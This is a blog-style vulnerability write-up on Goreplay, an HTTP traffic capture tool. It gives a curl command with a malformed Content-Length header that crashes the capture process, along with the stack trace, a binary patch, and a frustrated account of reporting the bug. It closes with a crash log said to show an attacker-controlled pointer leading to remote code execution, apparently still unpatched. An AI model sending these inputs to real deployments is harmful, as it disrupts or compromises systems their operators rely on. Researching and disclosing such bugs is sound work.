Goreplay Crashed, My Hopes Did Too

A couple of weeks ago, I tried to get my first CVE but failed miserably. I will talk about how I found the bugs, the process, and the result.

Intro

Goreplay, shortly Gor, is an open-source tool for capturing and replaying live HTTP traffic. It uses the gopacket library to capture packets.

Bugs

Gor has a very basic parser for headers and crashes when malformed headers are present. For example:

POC

  • Start a simple server on port 8000: python3 -m http.server
  • Start the capture: sudo ./gor -input-raw enp0s1:8000 -output-stdout
  • Send the packet (the Content-Length header is malformed)
curl -v http://localhost:8000 \
  -H $'Host: example.com' \
  -H $'Content-Length:\n16' \
  --data 'Body content ...'

Crash

panic: runtime error: slice bounds out of range [88:87]

goroutine 18 [running]:
github.com/buger/goreplay/proto.header(0xc0000fa132, 0xa0, 0xa0, 0xc00005fe09, 0xe, 0xe, 0x0, 0x0, 0x0, 0xffffffffffffffff, ...)
        /go/src/github.com/buger/goreplay/proto/proto.go:118 +0x425
github.com/buger/goreplay/proto.Header(...)
        /go/src/github.com/buger/goreplay/proto/proto.go:152
github.com/buger/goreplay/proto.HasFullPayload(0x1077fc0, 0xc000310000, 0xc0002f4040, 0x1, 0x1, 0x90)
        /go/src/github.com/buger/goreplay/proto/proto.go:523 +0x545
github.com/buger/goreplay/capture.http1EndHint(0xc000310000, 0xc00030e1a0)
        /go/src/github.com/buger/goreplay/capture/capture.go:361 +0x8b
github.com/buger/goreplay/tcp.(*MessageParser).addPacket(0xc0002da000, 0xc000310000, 0xc00030e1a0, 0xc000312048)
        /go/src/github.com/buger/goreplay/tcp/tcp_message.go:354 +0x6d
github.com/buger/goreplay/tcp.(*MessageParser).processPacket(0xc0002da000, 0xc00030e1a0)
        /go/src/github.com/buger/goreplay/tcp/tcp_message.go:343 +0x272
github.com/buger/goreplay/tcp.(*MessageParser).wait(0xc0002da000)
        /go/src/github.com/buger/goreplay/tcp/tcp_message.go:268 +0x1eb
created by github.com/buger/goreplay/tcp.NewMessageParser
        /go/src/github.com/buger/goreplay/tcp/tcp_message.go:249 +0x194

Fix

From the crash log, we see that it occurs on line 118. Let’s see what’s there:

	value = payload[valueStart : valueEnd+1]

Since Gor has a very basic header parser, it doesn’t check the boundaries of the payload array. Go has a built-in array bounds checker, so it crashes when the slice range exceeds the capacity of the array.

Here is what Go’s array boundary check looks like:

loc_7398B9:        
lea     rcx, [rdi+1]
mov     rdx, [rsp+70h+payload.cap]
cmp     rcx, rdx
ja      loc_739A65
cmp     rsi, rcx
ja      loc_739A5C


loc_73992F:                          
mov     [rsp+70h+value.array], 0
xorps   xmm0, xmm0
movups  xmmword ptr [rsp+70h+value.len], xmm0
mov     [rsp+70h+headerStart], 0FFFFFFFFFFFFFFFFh
mov     [rsp+70h+headerEnd], 0FFFFFFFFFFFFFFFFh
mov     [rsp+70h+valueStart], 0FFFFFFFFFFFFFFFFh
mov     [rsp+70h+valueEnd], 0FFFFFFFFFFFFFFFFh
mov     rbp, [rsp+70h+var_8]
add     rsp, 70h
nop
retn


loc_739A65:
call    runtime_panicSliceAcap


loc_739A5C:                            
mov     rax, rsi
nop
call    runtime_panicSliceB

Instead of crashing the app, we can patch the ja opcode to jump somewhere safe. For example, if we want to just ignore it, we can jump to the loc_73992F location so that it safely ignores the issue.

Original Patched Assembly
0F 87 97 01 00 00 0F 87 61 00 00 00 ja loc_73992F
OF 87 85 01 00 00 0F 87 58 00 00 00 ja loc_73992F

Reporting

I informed the author of the library by email. It was actually hard to report the vulnerability. The README file says:

All bug reports and suggestions should go through GitHub Issues or our Google Group (you can just send an email to gor-users@googlegroups.com). If you have a private question, feel free to send an email to support@gortool.com.

I tried to email that address, but it seems the address is no longer valid. I had to find the author and his personal email address to report the bug. I gave them a detailed explanation of the bug and told them that I was planning to request a CVE in 2 weeks (on May 8, 2025). They replied the next day and said they would love to fix it.

As of today, June 22, 2025, the bug is still there, and I don’t see any sign of a fix.

I also tried to get a CVE via https://cveform.mitre.org/, but they didn’t acknowledge my report.

Anyway, if anybody wants to get a CVE for this software, here is another crash log that leads to RCE.

#0  github.com/buger/goreplay/internal/tcp.(*Packet).parse (pckt=0xc00e6ea750, data=...,
    lType=3399988123389603631, lTypeLen=3399988123389603631, cp=0x2f2f2f2f2f2f2f2f,
    allowEmpty=false, ~r0=...) at github.com/buger/goreplay/internal/tcp/tcp_packet.go:101
        proto = <optimized out>
        dOf = <optimized out>
        ldata = <optimized out>
        netLayer = <optimized out>
        transLayer = <optimized out>
        ndata = <optimized out>
#1  0x0000000000b6d27b in github.com/buger/goreplay/internal/tcp.ParsePacket (data=...,
    lType=3399988123389603631, lTypeLen=3399988123389603631, ci=0x2f2f2f2f2f2f2f2f,
    allowEmpty=false, pckt=<optimized out>, err=...)
    at github.com/buger/goreplay/internal/tcp/tcp_packet.go:88
        err = <optimized out>
#2  0x0000000000b6c605 in github.com/buger/goreplay/internal/tcp.(*MessageParser).parsePacket (
    parser=0xc000014000, pcapPkt=<optimized out>, ~r0=<optimized out>)
    at github.com/buger/goreplay/internal/tcp/tcp_message.go:282
        pckt = <optimized out>
        err = <optimized out>
#3  0x0000000000b6c54d in github.com/buger/goreplay/internal/tcp.(*MessageParser).wait (
    parser=0xc000014000) at github.com/buger/goreplay/internal/tcp/tcp_message.go:268
        pckt = 0x2f2f2f2f2f2f2f2f
#4  0x0000000000b6c3c5 in github.com/buger/goreplay/internal/tcp.NewMessageParser.gowrap1 ()
    at github.com/buger/goreplay/internal/tcp/tcp_message.go:249
#5  0x0000000000481da1 in runtime.goexit () at runtime/asm_amd64.s:1700
No locals.
#6  0x0000000000000000 in ?? ()

You can see that my payload //////, which is essentially 0x2f2f2f2f2f2f2f2f, controls the execution.

This bug occurs when you capture traffic in raw_socket mode. I won’t dive deep into how this bug happens. Why bother, if even the original software author doesn’t care about it?